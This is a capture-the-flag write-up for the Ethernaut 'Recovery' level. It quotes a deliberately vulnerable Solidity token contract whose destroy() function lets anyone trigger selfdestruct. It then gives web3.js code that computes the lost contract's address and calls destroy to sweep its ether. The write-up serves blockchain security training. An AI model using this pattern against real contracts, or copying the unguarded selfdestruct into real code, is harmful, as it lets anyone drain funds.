Ethernaut Level 17: Recovery

Solidity Code

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract Recovery {

  //generate tokens
  function generateToken(string memory _name, uint256 _initialSupply) public {
    new SimpleToken(_name, msg.sender, _initialSupply);

  }
}

contract SimpleToken {

  using SafeMath for uint256;
  // public variables
  string public name;
  mapping (address => uint) public balances;

  // constructor
  constructor(string memory _name, address _creator, uint256 _initialSupply) public {
    name = _name;
    balances[_creator] = _initialSupply;
  }

  // collect ether in return for tokens
  receive() external payable {
    balances[msg.sender] = msg.value.mul(10);
  }

  // allow transfers of tokens
  function transfer(address _to, uint _amount) public { 
    require(balances[msg.sender] >= _amount);
    balances[msg.sender] = balances[msg.sender].sub(_amount);
    balances[_to] = _amount;
  }

  // clean up after ourselves
  function destroy(address payable _to) public {
    selfdestruct(_to);
  }
}

Requirements

  1. Recover the 0.001 ether from the lost contract address.

Concepts

Hack

There are 2 ways we can recover the address of the lost contract. First, we can calculate the address because

... the address of a contract is determined at the time the contract is created (it is derived from the creator address and the number of transactions sent from that address, the so-called “nonce”).

As indicated in the Ethereum Yellow Paper

The address of the new account is defined as being the rightmost 160 bits of the Keccak-256 hash of the RLP encoding of the structure containing only the sender and the account nonce.

Therefore, we simply have to solve this equation

address = rightmost_160_bits(keccak(RLP(sender address, nonce)))

Another simpler method is using etherscan. We can go to the Recovery instance address and investigate the internal transactions.

image.png

Selecting the Contract Creation transaction, we are redirected to the SimpleToken instance.

image.png

Solution

Using web3.js, we can calculate the address of the lost contract.

web3.utils.soliditySha3("0xd6", "0x94", instance, "0x01")
> 0xf29954b3b5bf20471baec20c94f3cc1dc21a67f4e641ab08efaf3b2e8568668c

The last 20 bytes of the output is the address of the lost contract.

> 0x94f3cc1dc21a67f4e641ab08efaf3b2e8568668c

This is the same address as the one we saw in etherscan. Finally, to recover the funds we must call the destroy method. Using web3.js, we encode the destroy function and pass our address as a parameter.

destroyMethod = web3.eth.abi.encodeFunctionCall({
    name: 'destroy',
    type: 'function',
    inputs: [{
        type: 'address',
        name: '_to'
    }]
}, [player]);

Lastly, we sendTransaction to the lost contract address containing the destroyMethod.

await web3.eth.sendTransaction({
    to: lostContractAddress,
    from: player,
    data: destroyMethod
})

Done!